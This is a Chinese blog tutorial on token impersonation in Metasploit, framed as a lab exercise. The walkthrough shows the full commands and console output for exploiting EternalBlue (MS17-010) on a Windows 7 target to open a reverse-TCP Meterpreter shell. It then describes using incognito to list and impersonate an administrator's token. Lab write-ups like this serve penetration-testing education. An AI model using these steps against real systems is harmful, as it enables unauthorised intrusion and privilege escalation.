zoukankan      html  css  js  c++  java
  • Metasploit之令牌窃取

    令牌简介及原理

    令牌(Token) 就是系统的临时密钥,相当于账户名和密码,用来决定是否允) 许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。
    令牌最大的特点就是随机性,不可预测,一般黑客或软件无法猜测出来。令牌有很多种,比如访问令牌(Access Token)表示访问控制操作主题的系统对象;密保令牌(Security token),又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;会话令牌(Session Token)是交互会话中唯一的身份标识符。
    在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。

    Kerberos工作机制

    客户端请求证书的过程如下所示。

    • 客户端向认证服务器(AS)发送请求,要求得到服务器的证书。
    • AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket (包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加s密密钥(又称为会话密钥,session key) 。当然,认证服务器也会给服务器发送一份该证书,用来使服务器认证登录客户端的身份。
    • 客户端将ticket传送到服务器上,服务器确认该客户端的话,便允许它登录服务器。
    • 客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。

    攻击机kali:192.168.1.104
    靶机win7:192.168.1.102

    假冒令牌实战利用

    msf5 > search ms17_010            # 搜索永恒之蓝漏洞利用模块
    
    Matching Modules
    ================
    
       #  Name                                           Disclosure Date  Rank     Check  Description
       -  ----                                           ---------------  ----     -----  -----------
       1  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
       2  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
       3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
       4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
       5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
    
    
    msf5 > use exploit/windows/smb/ms17_010_eternalblue    # 用这个模块,注意,靶机别打补丁,别开防火墙,以保证试验成功
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp       # 用这个payload
    payload => windows/x64/meterpreter/reverse_tcp
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102         # 设置目标机IP
    RHOST => 192.168.1.102
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104         # 设置攻击机IP
    LHOST => 192.168.1.104
    msf5 exploit(windows/smb/ms17_010_eternalblue) > run                           # 开炮开炮开炮!!!
    
    [*] Started reverse TCP handler on 192.168.1.104:4444 
    [*] 192.168.1.102:445 - Connecting to target for exploitation.
    [+] 192.168.1.102:445 - Connection established for exploitation.
    [+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
    [*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
    [*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
    [*] 192.168.1.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
    [*] 192.168.1.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
    [+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
    [*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
    [*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
    [*] 192.168.1.102:445 - Starting non-paged pool grooming
    [+] 192.168.1.102:445 - Sending SMBv2 buffers
    [+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
    [*] 192.168.1.102:445 - Sending final SMBv2 buffers.
    [*] 192.168.1.102:445 - Sending last fragment of exploit packet!
    [*] 192.168.1.102:445 - Receiving response from exploit packet
    [+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
    [*] 192.168.1.102:445 - Sending egg to corrupted connection.
    [*] 192.168.1.102:445 - Triggering free of corrupted buffer.
    [*] Sending stage (206403 bytes) to 192.168.1.102
    [*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49163) at 2020-09-29 19:22:08 +0800
    [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    meterpreter >                                                # 可以开干坏事啦
    
    

    此时我们通过一系列前期渗透: https://www.jianshu.com/p/03a1c13f963a,已经成功获得了目标机的MeterpreterShell,首先输入getuid命令查看已经获得的权限,然后输入getsystem,发现提权失败。
    (咦。。。直接system权限我透,算了继续做,当作我没有的亚子……

    我们先输入use incognito命令,然后输入list_tokens -u列出可用的token如下:

    可以看到有两种类型的令牌: 一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问) ;还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。
    由上图可以看到,我们已经获得了一个系统管理员ge的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。
    从输出的信息可以看到分配的有效令牌包含ge-PCge,其中ge-PC是目标机的主机名,ge表示登录的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法如下图所示。

    注意:在输入HOSTNAMEUSERNAME时需要两个反斜杠()
    运行成功后在Meterpreter Shell下运行shell命令并输入whoami,可以看到笔者现在就是假冒的那个ge-pcge系统管理员了。

    说明

    本文参考 开篇的博客链接 及 《Web安全攻防:渗透测试实战指南》
    所有过程仅供演示交流,禁止用于非法用途,由此产生的非法后果与我无瓜!!!

  • 相关阅读:
    JDBC的步骤
    Java异常
    两个init方法的区别
    迭代器、foreach循环、泛型集合
    servlet的生命周期
    集合类对比
    在servlet中的中文乱码,相对路径和绝对路径
    【转】学习使用Jmeter做压力测试(一)--压力测试基本概念
    【转】jmeter压力测试
    【转】配置Jmeter的自定义参数
  • 原文地址:https://www.cnblogs.com/coderge/p/13751501.html
Copyright © 2011-2022 走看看